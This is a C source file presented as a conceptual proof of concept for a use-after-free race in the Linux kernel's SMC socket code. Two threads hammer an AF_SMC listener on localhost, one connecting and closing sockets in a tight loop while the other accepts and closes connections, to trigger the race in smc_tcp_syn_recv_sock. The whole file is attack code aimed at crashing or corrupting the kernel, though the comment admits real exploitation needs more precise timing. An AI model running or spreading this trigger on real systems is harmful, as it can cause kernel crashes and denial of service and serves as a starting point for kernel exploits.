/*
* Conceptual PoC for Race Condition in SMC
* This code attempts to trigger the race by closing a socket
* while connecting to it in a tight loop.
* Note: Exploiting kernel UAFs typically requires specific timing
* or fuzzing tools like syzkaller.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/smc.h>
#define PORT 12345
void* attacker_thread(void* arg) {
int sock;
struct sockaddr_in addr;
while (1) {
sock = socket(AF_SMC, SOCK_STREAM, 0);
if (sock < 0) continue;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr);
// Attempt connection to trigger smc_tcp_syn_recv_sock
connect(sock, (struct sockaddr*)&addr, sizeof(addr));
close(sock);
}
return NULL;
}
void* victim_thread(void* arg) {
int server_sock, client_sock;
struct sockaddr_in addr;
server_sock = socket(AF_SMC, SOCK_STREAM, 0);
int opt = 1;
setsockopt(server_sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_port = htons(PORT);
bind(server_sock, (struct sockaddr*)&addr, sizeof(addr));
listen(server_sock, 1);
while (1) {
client_sock = accept(server_sock, NULL, NULL);
if (client_sock > 0) {
// Trigger close path to race with incoming connections
close(client_sock);
}
}
return NULL;
}
int main() {
pthread_t t1, t2;
pthread_create(&t2, NULL, victim_thread, NULL);
sleep(1); // Ensure server is ready
pthread_create(&t1, NULL, attacker_thread, NULL);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
return 0;
}